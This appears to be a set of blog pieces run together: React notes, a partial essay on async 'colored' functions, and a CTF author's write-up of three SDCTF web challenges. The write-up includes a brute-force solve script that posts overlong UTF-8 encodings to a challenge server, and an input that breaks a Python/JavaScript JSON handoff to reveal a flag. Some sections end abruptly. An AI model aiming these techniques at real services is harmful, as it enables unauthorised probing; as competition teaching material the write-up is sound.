In useEffect and other callbacks, I’ll often want to use the current value of a state. However, doing so would require you to pass the state value to useEffect’s dependency list.

useEffect(() => {
  //
}, [TODO])

const [state, setState] = useState('...')
const stateRef = useRef(state)
useEffect(() => {
  stateRef.current = state
}, [state])

Using useEffect as a listener for state changes

Also, useEffect’s design of running when its dependencies change makes it a very attractive choice for performing side effects, such as saving data, whenever the state changes.⁸ This isn’t the best option, though, like in this example:

const [state, setState] = useState('...')
const [saving, setSaving] = useState(false)

useEffect(() => {
  setSaving(true)
  saveState(state).finally(() => {
    setSaving(false)
  })
}, [state])

return (
  <button onClick={() => setState('something else')}>Change the state</button>
)

This feels like a natural solution to saving the state whenever it changes. However, this isn’t optimal⁹. The useEffect runs after state is set, but it also sets the saving state in its body. This results in a double render, whereas the proper approach would place the callback directly after wherever the state is set:

setState('something else')
setSaving(true)
saveState(state).finally(() => {
  setSaving(false)
})

But this is not feasible if setState could be called in many places in the app.

hmm but couldnt you just wrap setstate in another function. and also it could be annoying to not be sure if setting state will cause side effects

react annoyances:

• hard to keep track of what is or should be memoized for hook dependencies
• (elm issue too) modifying state in a deeply nested object is verbose
• date Intl API results in hydration errors
• date.now and local storage are technically impure but it sucks that they need to be initialized in a use effect
• no built in class list
• providing and consuming context in the same component (if say a library only provides a hook that consumes the context)

Essentially, in a programming language with colored functions,

1. Red functions can only call other red functions. Blue functions can call either red or blue functions.
2. Red functions have some downside, so you wouldn’t want to make all your functions red.
3. Some library functions are red, so you can’t make all your functions blue.

In this allegory, red functions are asynchronous, and blue functions are synchronous. But the situation can apply to other language features too, like Rust const functions, Haskell IO, and functions that throw errors.

In this post, I’m just going to brainstorm some programming language design ideas with colored functions in mind, with a bias towards JavaScript.

Why async?

Not all languages have an async/sync split. Go, for example, proudly has its own “goroutines,” which are like threads but managed by the Go runtime, so they’re more lightweight and can be used for benign tasks that you’d use async functions for in other languages, like reading two files in parallel.

I think Go syntax is clunky and verbose in general, but even with syntax-level support for goroutines (you can spawn one with a special keyword go), the code for reading two files in parallel is not as elegant as JavaScript’s Promise.all. Also, since all functions are synchronous, it’s hard to tell at a glance which function calls may block the thread and should, for example, be a candidate for being called a goroutine if called in a loop.

See, in JavaScript—at least, main-thread browser JavaScript—you can generally assume that if a function is synchronous, it is probably “fast.” All library functions that would block the thread in other programming languages, like sleeping or performing IO, are asynchronous in JavaScript,¹ and they have to be, lest they make the web page freeze. In JavaScript, async function calls look syntactically very different from regular function calls—they either involve a callback function or the await keyword. Synchronous functions of course can be slower than asynchronous functions, e.g. if they’re computationally intensive, and in frontend JavaScript these functions are less common because they noticeably make the page lag. But virtual threads wouldn’t save you from this either.

Also, at least with JavaScript’s implementation of asynchronous functions, IO-bound programs can be kept in a single OS thread, and along with explicit syntax for async function calls, synchronization becomes free: you don’t need to worry about a context switch happening in the middle of a synchronous expression, so sharing data between async threads can be done naively without worrying about race conditions.

const sessions = {}
let nextId = 0

function handleRequest (req) {
  sessions[nextId] = { id: nextId, user: req.user }
  nextId++
  return nextId
}

In the example above, handleRequest would be full of synchronization red flags in a multithreaded program if written in another language. But in JavaScript, this is perfectly safe.

async function handleRequest (req) {
  const id = nextId
  sessions[id] = await createSession(req, id)
  nextId++
}

In the example above, there is a race condition that allows for multiple sessions to use the same ID. While possible to miss, it’s made clearer thanks to the await keyword.

In short, I believe the benefits of explicit asynchronous functions are that:

1. There’s a clear distinction whether a function involves IO and is “slow”/could run in parallel.
2. IO-bound programs can be kept single-threaded, so
3. It’s easier to avoid race conditions.

Why are colored functions a problem?

The blog implies some pitfalls you’d encounter with colored functions, but I want to reiterate some here, because they’re the specific problems I want to address with my language design ideas:

• A higher-order function might want to allow its input function to be asynchronous, but doing so would require the entire function to be asynchronous too.

  For example, JSON.parse is a synchronous function takes a replacer function, which must also be synchronous. If you want to read a file

• In a library, making a synchronous function async would be a breaking change, but this prevents you from adding async calls in future versions.

  Maybe this is a good thing; a consumer of a library probably does not want the library to unexpectedly perform IO in future versions. But maybe the library authors want add an option that reads data from a file; this would not be possible without creating a duplicate function with an almost-identical implementation, except that it is async.

• Both of these reasons lead to sync and async APIs, which have the same implementation except one is async and the other is not. This results in duplicate code and violates DRY.

• Plus, it might be nice to have a language that tracks whether a function is pure or impure, or whether it can throw an error. Adding more axes of function colors only makes the problem exponentially worse.

Ultimately, the main problem is that restrictions on what a function can call results in multiple functions with duplicate code.

Idea 1: Maybe some functions don’t care

Maybe the language can infer whether a function is async based on what functions it calls. If you don’t care whether your function is async or not, you can leave its synchronicity unspecified. If one of your dependency functions becomes async in the future, so does your function, but you don’t need to modify your code. If one of your function arguments is async, so is your function.

This might be more relevant for keeping track of errors. This could allow bubbling up error types from dependency functions as new error types are introduced, so you can leave the decision of whether to handle the error up to the consumer of your function.

I contributed to these challenges:

• web/utf-wait: A website that renders broken text in your browser.
• web/open-source: A web page that seems to have a fake flag in the source code.
• web/calculator: A simple arithmetic calculator that spawns a Python process to perform the calculation.

Spoilers ahead! Or skip to the summary.

web/utf-wait

utf-wait: 352 pts, 7 solves

---

Author: Sean
Difficulty: Medium
Category: Web

---

😊 I’m learning 🧠 how to make my own HTTP server in C! 🗺️ Here’s my cool little journal 📖 website. To start 🚶, try looking up flag 🚩! It doesn’t work 💔 in some browsers, though. 🙇

Only four hours before the end of the CTF (because that’s when I woke up), I released this clarification after someone asked about it in a ticket:

Sorry for not clarifying this earlier 🙏, but making a few hundred 💯💯💯💯 requests in series 🚶 isn’t considered fuzzing 👌 by our rules 📜 (I was told this should be obvious 🙄). That may be necessary for this challenge 🎮 because my friend 💃 says my server is a bit ⚠️nondeterministic⚠️! 😵‍💫

GitHub source

Inspiration

For some reason, a few years ago I decided I wanted to read the entire Unicode Standard. While I never finished it, I did read through the section that explained how Unicode encodes text in binary.

Unicode text is a list of Unicode characters, which have a code value¹ between U+0000 and U+10FFFF. This means that to encode a character, you may need up to 21 bits, or 3 bytes, to encode each character. But most text falls in the Basic Multilingual Plane (BMP), the range of characters U+0000 to U+FFFF, which only needs 16 bits or 2 bytes per character. And a lot of text, particularly in the English-speaking world, uses exclusively ASCII characters in the U+0000 to U+007F range, which only needs one byte per character.

Unicode defines three text encoding standards that trades off between simplicitly and compactness:

• UTF-32: Use 4 bytes per character, and encode each code value as a 32-bit integer. Rust’s char type uses UTF-32.

• UTF-16: Use 2 bytes per character for characters in the BMP. For characters outside the BMP, Unicode has reserved a range of code values in the BMP that can be used as a surrogate pair to represent the rest of the characters from U+10000 to U+10FFFF.

  Languages like Java and JavaScript use UTF-16 for strings. UTF-16 is nice because it uses half the space as UTF-32, but still has a constant number of bytes per character for most characters, so you can easily get a character by index in a string.

  Except it’s not so convenient for characters outside the BMP, like emoji. This is why in JavaScript, emojis seem to be two characters long, and trying to index into a string with emoji can result in getting individual code vales of a surrogate pair, which is rendered as �.

  > '🚩'.length
  2
  
  > console.log('🚩'[0])
  �
  

• UTF-8: Use a variable number of bytes per character.

  For ASCII characters in the range U+0000 to U+007F, they’re encoded the same as they are in ASCII: one byte per character. The byte is just the code value. The benefit of this is that UTF-8 is the same as ASCII for ASCII-only text. I think this might contribute to why programmers often confuse bytes with characters, and code values with characters’ byte representation.

  However, for the rest of the characters, UTF-8 uses something reminiscent of a linked list. The bytes for the ASCII range of code values all start with 0, so if it starts with 1, this indicates that the byte is part of a multi-byte sequence:

  • 110xxxxx means the character is two bytes long.
  • 1110xxxx means the character is three bytes long.
  • 11110xxx means the character is four bytes long.
  • 10xxxxxx is used for the rest of the byte sequence.

  I think Wikipedia’s table summarizes this best:

  

  The remaining x bits are used to store the bits of the code value.

There’s two things interesting about UTF-8, both of which Wikipedia has notes about:

• UTF-8 could be extended to support longer byte sequences, such as 111110xx for 5-byte squences. Wikipedia says this has originally been proposed, but they limited it so there aren’t code values that UTF-8 can encode and UTF-16 can’t.

• You can use longer byte sequences than is necessary for a character. However, UTF-8 requires that encoders reject these “overlong encodings”:

  Longer encodings are called overlong and are not valid UTF-8 representations of the code point.

So, I wondered, what if I did that anyways?

Development

My idea was this: make a web server that (purportedly) naively tries to use its own UTF-8 encoder/decoder, except it somehow unintentionally produces overlong encodings. Pretty much any reasonable² UTF-8 decoder, from parsers to programming languages, should reject these encodings, so users will see broken text. I also wanted users to be able to produce overlong encodings on their own, i.e. requiring them to write an overlong UTF-8 decoder and encoder.³

I first wrote a UTF-8 encoder/decoder in JavaScript because I was most familiar with that language. I was thinking that I could spin up a Node or Deno web server, and perhaps claim to use the encoder/decoder as a polyfill. Then, I could just upload the server file as an attachment (but omit polyfill.ts) to hide its implementation.

But as I wrote the server, I realized that it didn’t really make sense for me to have to use a polyfilled TextEncoder for the server since the language already handles that automatically everywhere. It would look suspect if I did something like new Response(encoder.encode(html)) instad of just new Response(html).

It made more sense to use a language like C, which may not have UTF-8 handling built in⁴, and C seems like a language where handling bytes directly is far more common (unlike, say, Rust). Also, C is a nice and simple programming language (unlike C++).

So I wrote the same UTF-8 encoder/decoder in C, then followed an online tutorial for a C HTTP server. Fortunately, it’s fairly convenient and doesn’t require as many incantations as, say, WebGL. I risk introducing more vulnerabilities this way, but whatever.

A decision I made was to pre-encode all the static files of the site when the server starts, rather than re-encoding the response on every request. This is because I didn’t want to make it too obvious that the encoding was random and nondeterministic, and it would reveal what bytes of the file matter (i.e. don’t change) and what don’t. I also didn’t want the flag key for the journal to change while the user is trying to guess its encoding.

Another design problem I had was where to sneak in the requirement for the user to encode text, such as the journal name flag, in UTF-wait. For a journal site, it might make sense for the route for retrieving a journal’s contents to be at GET /journal/:name or something. However, URLs aren’t encoded in UTF-8. The only part of a request that is normally encoded in UTF-8 is the request body (so GET requests are out of the question).

I wanted a route for editing journals, but this would require part of the request body to be partitioned for the journal name, and the rest for the journal contents. To be honest, in retrospect I’m not sure why I struggled with designing this. I could’ve just required a newline or two between the journal name and contents (like a Git commit message), and encoded the whole thing as a Unicode string in UTF-wait. But whatever.

Ultimately, I just kept it simple. For the user doing the challenge, they shall just see the website as a read-only blog. Then, they just have to request the journal entry for flag, but since the developer of the website is naive, it takes several attempts to get the right encoding of flag to see its journal entry.

struct utf8 response =
    flag_key.n == bytes_received &&
            strncmp(flag_key.bytes, body, flag_key.n) == 0
        ? flag_response
        : no_note_response;
send(client_fd, response.bytes, response.n, 0);

As a side note, for some reason I noticed my server was a bit slow, despite being written in C. I wondered how it would scale up to serve the entire CTF, but it ended up not mattering because our platform used an instancing system where each user got a different server instance, so I don’t have to handle a large server load.

As for the front-end, I kept the styling minimal. I think I was planning to make it prettier, but I guess no one would’ve seen it anyways.

For SDCTF, we were thinking about having a dedicated emoji category. My encoder only encodes up to 4-byte sequences, which is how emojis and other non-BMP characters are supposed to be encoded in UTF-8. That means that a normal decoder will fail to decode anything except for emoji, and all the user’d see are just emoji interspersed among replacement characters, which happens to fit the emoji category. Therefore, I tried to use as much emoji I could for this challenge; it would help to hint that the website is indeed in plain text. Ultimately, however, we didn’t get around to making the emoji category happen.

Solution

The way I thought people might go about this challenge is this, with paths off the main trail removed:

1. See that only emoji are rendering on the web page.
2. Open the web page contents in a hex viewer
   • When I tried this, it’s actually pretty difficult. Ctrl+S’ing the page in Chrome keeps the replacement characters (FF FD) in the file, which makes sense because I know it already does fancy shenanigans like including all the page CSS and JavaScript in a folder. But saving the response as a file from the Network Log also did not preserve the original bytes of the response, and instead stored replacement characters. I had to use curl to retain the bytes.
3. Magically realize (perhaps from the challenge name and the headers suggesting it’s UTF-8) that the file uses overlong encodings
4. Write a UTF-wait decoder and decode the files served by the server
5. Read the JS file to deduce how to get the flag, by making a POST / request with an encoding of flag in the body
6. Brute force every possible encoding of flag. Each character can be encoded 3–4 ways (1–2 bytes to 4 bytes), so that gives between 81 and 256 permutations to brute force.

I was concerned that players might think they aren’t allowed to brute force these permutations, so I wanted to clarify that this was fine. I wanted this clarification to be added to the CTF-wide rules rather than specifically for this challenge to avoid giving hints.

However, Nick thought it was obvious that making a few hundred requests, especially with a delay in between, didn’t count as brute forcing, and it wasn’t necessary to clarify that it was allowed.

For checking that the deployed challenge works, this was my solve script:

class TextDecoder {
  decode (bytes) {
    let expect = 0
    let str = ''
    let codePoint = 0
    for (const byte of bytes) {
      if (expect > 0) {
        if (byte >> 6 === 0b10) {
          codePoint <<= 6
          codePoint |= byte & 0b111111
          expect--
          if (expect === 0) {
            str += String.fromCodePoint(codePoint)
          }
        } else {
          console.warn(
            'expected continuation byte',
            byte.toString(2).padStart(8, '0')
          )
          str += '\ufffd'
        }
      } else {
        if (byte >> 5 === 0b110) {
          expect = 1
          codePoint = byte & 0b11111
        } else if (byte >> 4 === 0b1110) {
          expect = 2
          codePoint = byte & 0b1111
        } else if (byte >> 3 === 0b11110) {
          expect = 3
          codePoint = byte & 0b111
        } else if (byte >> 7 === 0b0) {
          str += String.fromCodePoint(byte)
        } else {
          console.warn('expected first byte', byte.toString(2).padStart(8, '0'))
          str += '\ufffd'
        }
      }
    }
    if (expect > 0) {
      console.warn('expected completed sequence')
      str += '\ufffd'
    }
    return str
  }
}
const gg = char => {
  const codePoint = char.codePointAt(0) ?? 0xfffd
  return [
    // [codePoint],
    [
      0b110_00000 | ((codePoint >> 6) & 0b11111),
      0b100_00000 | (codePoint & 0b111111)
    ],
    [
      0b111_00000 | ((codePoint >> 12) & 0b1111),
      0b100_00000 | ((codePoint >> 6) & 0b111111),
      0b100_00000 | (codePoint & 0b111111)
    ],
    [
      0b111_10000 | ((codePoint >> 18) & 0b111),
      0b100_00000 | ((codePoint >> 12) & 0b111111),
      0b100_00000 | ((codePoint >> 6) & 0b111111),
      0b100_00000 | (codePoint & 0b111111)
    ]
  ]
}
for (const f of gg('f'))
  for (const l of gg('l'))
    for (const a of gg('a'))
      for (const g of gg('g')) {
        console.log(
          await fetch('.', {
            method: 'POST',
            body: new Blob([new Uint8Array([f, l, a, g].flat())])
          })
            .then(r => r.arrayBuffer())
            .then(b => new TextDecoder().decode(new Uint8Array(b)))
        )
      }

Retrospective

UTF-wait wasn’t solved until about 5 am, 10 hours into the competition. At that time, I hadn’t released my other web challenges yet (because I was working on them 😜), so that was the first and only web solve—all the web challenges were difficult. At the end of the CTF, there were only 7 solves. That was fewer than I expected.

It seems like few people even attempted the challenge, based on the relative lack of tickets opened compared to other challenges, especially on the first day of the CTF.

Maybe I miscategorized the challenge—I think most CTF players who specialize in web are specialized in SQL and DOM injections and the like. Knowing about how text is encoded is probably out of their scope. I think a text encoding challenge like this would be better suited for crypto or rev players.

Based on the tickets, people were able to decode the site. Someone was able to decode it with CyberChef, and another person found that Vim was able to decode it too, which is pretty surprising.

A common theme among the tickets was that while they could decode the site, they didn’t know they also had to encode flag in a similar way. I had to explain to them that it was nondeterministic, so brute forcing might be necessary.

What concerned me was that a few times, people revealed that they’ve tried to brute force finding the flag, and a different admin would reprimand them for violating rule 6:

Rule 6:

Do not run automated tools on our targets unless given express permission. This includes disruptive software such as bruteforcers, fuzzers, and other software that may disrupt the competition for other players. You will not require these tools.

This was the rule I was worried that might discourage players from properly solving the challenge. Nick had assured me that the brute forcing involved didn’t fall under these “automated tools,” but evidently even other admins didn’t think that way.

This was why I decided to release clarification around 4 hours before the end of the CTF.

It also seems some teams solved it just by looking at the patterns in the bytes. Because my encoder exclusively uses 2–4-byte sequences, the final byte is always of the form 10xxxxxx, with the last 6 bits of the character’s code value. For many characters, including the letters of flag, the 7th bit, which is in the byte before, is always 1. Since the rest of the bits are 0, many teams discovered that there are only three types of prefixes for each character:

• 1111_0000 1000_0000 1000_0001 10xx_xxxx -> f0 80 81 xx
• 1110_0000 1000_0001 10xx_xxxx -> e0 81 xx
• 1100_0001 10xx_xxxx -> c1 xx

While this approach works, it is a bit unfortunate that teams could solve the challenge without taking away a better understanding of how UTF-8 works.

Finally, I didn’t really realize this until after a fellow admin posted a “bad CTF bingo” meme, but having source code is pretty important for making a CTF challenge enjoyable. I think it is possible for me to adapt at least my server.c file so it can be published without giving everything away.

So, if I could redo this challenge again, my takeaways from this CTF are:

• Randomize the encoding on each request to make it more obvious that it’s randomized

  • Alternatively, I could try avoiding randomization because it might lead teams into thinking cryptography is involved

• As I thought, I do need to clarify when brute forcing is acceptable

• Provide as much source code as possible

web/open-source

open-source: 100 pts, 106 solves

---

Author: Sean
Difficulty: Easy
Category: Web

---

“open source” in the sense that if you open inspect element and go to the source tab all the source code is there!

This challenge was released late. At 6 am, 11 hours into the CTF, I announced:

@Participant two web challenges just dropped! they’re both .. “easy” .. supposedly (no web challenges have been solved yet 💀 so who knows)

👉 web/calculator has source files!! devour them as you please

👉 web/open-source is also “open source” ,, just open inspect element and youll see all the code there for you! 😁

GitHub source

Inspiration

It was clear that SDCTF needed more beginner-friendly challenges. I thought it ought to be pretty easy to make easy challenges, so this was the first one I came up with.

I just wanted to try hiding code by using a source map.

Development

I wanted the challenge to be straightforward, so I decided to keep the flag in the client’s code. However, I didn’t want it to be as easy as opening the index.js file and ctrl+F’ing sdctf.

So, I spent some time lazily obfuscating the code, largely just by importing a bunch of libraries, then using their exports to avoid them being tree shaken away.

import * as wh1t from 'axios'
import * as wh2t from 'lodash'
import * as wh3t from 'moment'
import * as wh4t from 'react'
import * as wh5t from 'react-dom'
import * as wh6t from 'uuid'
import * as what from './important'

console.log(
  `{${Object.keys({
    ...wh1t,
    ...wh2t,
    ...wh3t,
    ...what,
    ...wh4t,
    ...wh5t,
    ...wh6t
  }).join('}{')}}`.length
)

For the flag, I just created a bunch of silly functions to output individual characters. The minifier will mangle the function names, but just in case, I gave them silly names.

export const bana = () => 'a'
export const bananana = () => 'a' // this one is to keep them on their toes
export const c = () => 'c'
export const dirby = () => 'd'
export const extremely = () => 'e'
export const orange = () => 'f'
export const teapot = () => 'f'
export const banana = () => 'g'
export const apple = () => 'l'
export const not = () => 'n'
export const particularly = () => 'p'
export const seed = () => 's'
export const torch = () => 't'
export const interesting = () => 'e'
export const obj = { not, particularly, interesting }

Finally, the flag is constructed out of these functions:

import { teapot, apple, bana, banana, seed, dirby, c, torch, obj } from './huh'

console.log('Flag checker time!')
what.addEventListener('submit', () => {
  console.log('Checking flag...!')
  alert(
    new FormData(what).get(teapot() + apple() + bana() + banana()) ===
      [seed, dirby, c, torch, teapot, () => `{${Object.keys(obj).join('_')}}`]
        .map(a => a())
        .join('')
      ? 'true!! this is the real flag'
      : 'false'
  )
})

For the source map, I first wrote code that could feasibly produce the same observed output in the console. I made it clear that it wasn’t the real flag by using a ctf instead of sdctf prefix, but in the logs, it seems people tried guessing ctf{this_is_not_the_flag} anyways.

const form = document.getElementById('form')
form.onsubmit = () => {
  console.log('Checking flag...!')
  alert(
    document.querySelector('[name=flag]').value === 'ctf{this_is_not_the_flag}'
      ? 'true!! this is the FAKE flag'
      : 'false'
  )
}

console.log('Flag checker time!')

//
console.log(require('moment').__LIB_ID)

Ideally, I wanted each line of the minified source file to correspond to its line in the fake source code.

However, I was lazy.

The structure of source maps⁵ seemed pretty straightforward. The hardest part to understand was the mappings itself. They were based on some base64 encoding involving some “VLQ” of an array of 4-ish numbers, and I wasn’t sure what those numbers represented.

I decided to leave that up to a library, which happened to have a helpful page explaining what the numbers meant. I decided to just map the entire minified line with my code (and other unrelated lines) to the entirety of the source code. This essentially means using [] for all lines of the minified index.js except for the line I want, and then use [0, 0, 0, 0] for that line:

• The first zero means the mapping for the minified file is for the entire line (column 0 to the end).
• The second zero refers to the first source file defined in the source map’s sources array.
• The third zero means the mapped source starts on the first line.
• The fourth zero means the mapped source starts on the first character of the first line.

writeFile(
  './static/index.js.map',
  JSON.stringify({
    version: 3,
    sources: ['index.js'],
    sourcesContent: [code],
    mappings: lines
      .map(line =>
        line.includes('this is the real flag') ? encode([0, 0, 0, 0, 0]) : ''
      )
      .join(';'),
    names: ['form']
  })
)

Since the mapping only specifies when it starts (its end is implied by the next mapping), this should be enough to map the entire line of the minified file to the entire fake source code.

However, this meant that when I follow the console.log statements from the console to the source tab (in both Firefox and Chrome), it would always highlight the first line of the source file rather than the fake console.log statement. But I decided people probably wouldn’t pay close attention to that.

Finally, I made a pretty little glassmorphic interface. The blur radius seems to get capped on Firefox, but it still looks acceptable.

Solution

To be honest, I never tried retrieving the flag myself. When testing the challenge, I just pasted the correct flag into the input to make sure it alerts true!! this is the real flag. I just assumed that since the flag had to be computed directly to compare it with the input value.

But my approach would be to inspect element the text field, look for its event listeners. Clicking on the index.js:1 brought me to the fake source code, and clicking on the minified code didn’t take me to the function. But right clicking and saving the handler as a global variable did reveal its real contents, which I could search in the minified code.

Then, I would set a breakpoint in the event handler. Except for some reason in Chrome, it would take me back to the source mapped code, and it wouldn’t even set the breakpoint on the right line. Interesting!

And in Firefox, because the minified code has a source map associated with it, it refuses to prettify the code.

It’s pretty interesting how a broken source map can disrupt devtools. Nonetheless, it’s pretty easy to disable them.

Finally, I can set a breakpoint in the form submit event handler, try checking a flag on some random input, then evaluate the right-hand side of the === expression.

I didn’t think the challenge was particularly interesting, and I was feeling uncreative, so I just set the flag to sdctf{not_particularly_interesting}.

Retrospective

Open Source quickly got dozens of solves after it was released, becoming one of the easiest challenges in the CTF. It actually wasn’t that hard, and that’s because this challenge is contingent on the player using devtools. But some seasoned CTF players might be more used to using the network log, so they will only see the minified code.

Most players saw the fake flag and were quick to find the actual minified code, so the fake source map ended up being a very minor part of the challenge.

Also, despite me trying to obfuscate sdctf, I completely forgot to obfuscate the flag in console.log and alert statements. This made it incredibly easy to just ctrl+F “flag” and find the part of the code responsible for the flag. And since all of the dependencies of the expression were right next to the function, rather than relying on a variable defined elsewhere in the minified code, you can just copy and paste the code in the console, and you won’t have to deal with any undefined variables.

var kS = () => 'a'
var ES = () => 'c',
  OS = () => 'd'
var M1 = () => 'f',
  TS = () => 'g',
  CS = () => 'l',
  N3 = () => 'n',
  A3 = () => 'p',
  DS = () => 's',
  RS = () => 't',
  L3 = () => 'e',
  MS = { not: N3, particularly: A3, interesting: L3 }
console.log(
  [DS, OS, ES, RS, M1, () => `{${Object.keys(MS).join('_')}}`]
    .map(e => e())
    .join('')
)
// -> sdctf{not_particularly_interesting}

Write ups:

• Siunam: “What we’ve learned: Deobfuscate JavaScript code”

I think deobfuscating JavaScript code is a useful skill, but my challenge isn’t a practical case of obfuscated JavaScript code. The most common form of JS obfuscation (beyond just minifcation) replaces most symbols with illegible hex variable names. It’s not too hard to deobfuscate it, at least partially enough to get what you want, since they also provide a decoder function. But that’s not what this challenge exposes you to.

I’m not sure if obfuscation is great for CTFs, mostly because it’s lazy challenge-making and puts unnecessary menial work on the players, while not being very insightful.

Still, by struggling with source maps while trying to prove my challenge was solvable in the solution, I think that has shown me there is some potential in using source maps for future CTFs. But this challenge was pretty lazy and only exists to exist, and I don’t think I should make a similar challenge like this in the future.

web/calculator

calculator: 100 pts, 46 solves

Download Attachment

---

Author: Sean
Difficulty: Easy
Category: Web

---

I made a calculator! I’m using Python to do the math since I heard it’s strongly typed, so my calculator should be pretty safe. Download the source code by clicking the download button above!

Like web/open-source, this challenge was released late. At 6 am, 11 hours into the CTF, I announced:

@Participant two web challenges just dropped! they’re both .. “easy” .. supposedly (no web challenges have been solved yet 💀 so who knows)

👉 web/calculator has source files!! devour them as you please

👉 web/open-source is also “open source” ,, just open inspect element and youll see all the code there for you! 😁

GitHub source

Inspiration

Learning Python, I’ve always been perturbed by many “features” (I don’t like Python). For example, Python always likes abbreviating their names to the point where they don’t really make sense at first class. For example, the s in json.dumps means string. Of course.

And json.dumps was also interesting because by default, it can output NaN and Infinity, neither of which are valid JSON, so most other parsers like JavaScript would fail on it. I’ve always wanted to try exploiting this difference in a CTF.

Development

I decided to have a JavaScript server that would run Python to evaluate an arithmetic expression, and it would only reveal a flag in the special case when JSON.parse fails. And since I started working on the challenge after the CTF started, I knew that open source challenges were much preferred, so I designed the server knowing all its files would be published as attachments to the challenge.

If anything, setting up the server was pretty straightforward. I copied Deno’s static server template and my front-end code from web/open-source.

Evaluating expressions in Python was very straightforward. I didn’t really need to worry about making it foolproof because if it produced any errors, I would just directly report it to the client without giving the flag.

import json
import sys


def evaluate(expression):
    if "value" in expression:
        return expression["value"]
    match expression["op"]:
        case "+":
            return evaluate(expression["a"]) + evaluate(expression["b"])
        case "-":
            return evaluate(expression["a"]) - evaluate(expression["b"])
        case "*":
            return evaluate(expression["a"]) * evaluate(expression["b"])
        case "/":
            return evaluate(expression["a"]) / evaluate(expression["b"])


print(json.dumps({"result": evaluate(json.loads(sys.argv[1]))}))

In the Deno server, I would take the expression from the client and somehow parse it into an object.

export type Expression =
  | { op: '+' | '-' | '*' | '/'; a: Expression; b: Expression }
  | { value: number }

const body = await req.formData()
const expression = body.get('expression')

const parsed = parse(expression)

Then, I pass it to Python as JSON and get back the result from Python. If there is anything in Python’s stderr, I will report that instead of trying to parse Python’s JSON.

const result = await new Deno.Command('python3.11', {
  args: ['calculate.py', JSON.stringify(parsed)]
}).output()
const error = decoder.decode(result.stderr).trim()
const json = decoder.decode(result.stdout).trim()
if (error.length > 0) {
  output = error
}

It’s only if Python runs without error that it’ll try to parse it. I also made sure to check that it starts and ends with curly braces, in case Python prints out some weird non-JSON like None, an empty string, null, etc.

if (json.startsWith('{') && json.endsWith('}')) {
  try {
    output = JSON.parse(json).result
    success = true
  } catch (error) {
    output = `wtf!!1! this shouldnt ever happen\n\n${
      error.stack
    }\n\nheres the flag as compensation: ${
      Deno.env.get('GZCTF_FLAG') ?? 'sdctf{...}'
    }`
  }
}

All this code is available for the players, so this challenge makes it very obvious what they have to do: somehow make Python output invalid JSON, without making Python itself have a runtime error.

There’s just one thing left to do. Parsing expressions.

I’ve parsed math expressions before. In 2016, my approach was to break the expression up into tokens. Then, it would do multiple passes, iterating over the tokens and computing numbers on either side of * and / first before doing + and - on a second pass. I was too lazy to do that again (this approach gets more involved with parentheses).

I could also just restrict expressions to only have two operands. It would be much simpler, but my Python script can handle so much more, so it would be a shame to let that go to waste.

I asked ChatGPT for an expression parser. It gave me some pretty convincing code. Except it didn’t work.

Deno’s third party modules has an applicative_parser module, which I’ve looked into before for parsing s-expressions. It seemed pretty convincing, except it couldn’t handle left-recursive grammars.

I ended up just writing a parser myself. I needed left-recursive grammars because my operations +-*/ are evaluated from left to right. To get around this, I just consumed the input string from right to left. I used generators to lazily evaluate all possible parse results. Thanks, CSE 230.

// LitExpr = Float
//         | "(" AddExpr ")"
function * parseLitExpr (string: string): ParseResult {
  yield * parseFloat(string)
  if (string[string.length - 1] === ')') {
    for (const result of parseAddExpr(string.slice(0, -1))) {
      if (result.string[result.string.length - 1] === '(') {
        yield { ...result, string: result.string.slice(0, -1) }
      }
    }
  }
}

// MulExpr = MulExpr ("*" | "/") LitExpr
//         | LitExpr
function * parseMulExpr (string: string): ParseResult {
  for (const right of parseLitExpr(string)) {
    const op = right.string[right.string.length - 1]
    if (op === '*' || op === '/') {
      for (const left of parseMulExpr(right.string.slice(0, -1))) {
        yield { ...left, expr: { op, a: left.expr, b: right.expr } }
      }
    }
  }
  yield * parseLitExpr(string)
}

// AddExpr = AddExpr ("+" | "-") MulExpr
//         | MulExpr

That’s pretty cool, except parsing expressions was why I ended up going to bed at 08:30 that “night.”

Solution

My solution is extremely straightforward: 1 / 5e-324.

I was hoping to take advantage of another Python quirk here. Python is unusual compared to pretty much all other programming languages in that float division by zero is a runtime error, so you can’t just do 1.0 / 0.0. However, dividing by the smallest positive double-precision floating point value still produces inf in Python. You can easily get this value by running Number.MIN_VALUE in JavaScript.

Retrospective

Calculator also got many solves fairly quickly, which is good: it’s an actually easy challenge. The CTF had many challenges classified as “easy” but had fewer solves than some “hard” challenges, so I was worried these challenges were under that curse.

And there were fewer solves for web/calculator than web/open-source, which also made sense. Open Source just relies on manually digging through JavaScript code, while Calculator solely relies on Python quirks knowledge.

The most common issue people ran into with this challenge is that they managed to get Infinity, but on the JavaScript side. Their approach was to multiply together a bunch of large ints, like 99999 * 99999 * ... * 99999.

The reason why this doesn’t work is because JavaScript will serialize each of these numbers as 99999, rather than 99999.0, because that’s how those numbers are stringified in JS. However, Python has a distinction between the two when parsing; 99999 becomes an int, while 99999.0 becomes a float.

Python int objects are equivalent to BigInt in JavaScript, so they can be multiplied ad nauseam without producing Infinity. Python will happily turn the int product back into a super long string of digits in JSON, which JavaScript can parse without throwing a syntax error. However, it’ll then cast the string of digits to a number (i.e. a float), so it becomes Infinity.

> JSON.parse(`{"result": ${'9'.repeat(400)}}`)
{result: Infinity}

The simplest fix to that problem would just be to force Python to cast the int to a float by multiplying by 1.0.

Write ups:

• @ky28059: “This challenge is pretty trivial if you know about how Python’s json.dumps is JSON spec noncompliant. In particular, Python will successfully serialize NaN and Infinity, despite neither of those values being valid JSON.”
• Siunam: “For some weird reason? Python’s JSON library does NOT comply with RFC 4627’s infinity floating number.”

I’m overall pretty happy about this challenge. It’s nice and simple, and introduced people to quirks with floats and Python. The source code was also provided.

That said, it’s possible people would rather see challenges based on potential vulnerabilities. For example, people seemed pretty interested in the other web challenges’ use of prototype pollution and DOMPurify intentionally not preventing CSS injections.

Python’s float quirks could result in a denial-of-service when it produces invalid JSON, but it’s otherwise just a piece of trivia and not particularly useful. I personally would rather come away from a challenge learning something more meaningful, like new approaches to CSS injections as seen in LA CTF.

crypto/RaccoonRun

I didn’t write this challenge, but I did contribute to the front end.

I’m not sure why we put so much effort into designing the front end and drawing raccoons since most solutions involved writing scripts to directly interface with the WebSocket backend. Oh well.

Summary

web/utf-wait uses spec-noncompliant UTF-8 to avoid being decoded properly by most browsers and programming languages. I learned that it is indeed necessary to make clear how much brute forcing is allowed, that I should design my challenges so they can provide source code, and to make it more clear when things are randomized.

web/open-source uses a source map to try to hide the real flag. I learned that there is more potential in using source maps for future challenges, and obfuscation challenges are pretty boring.

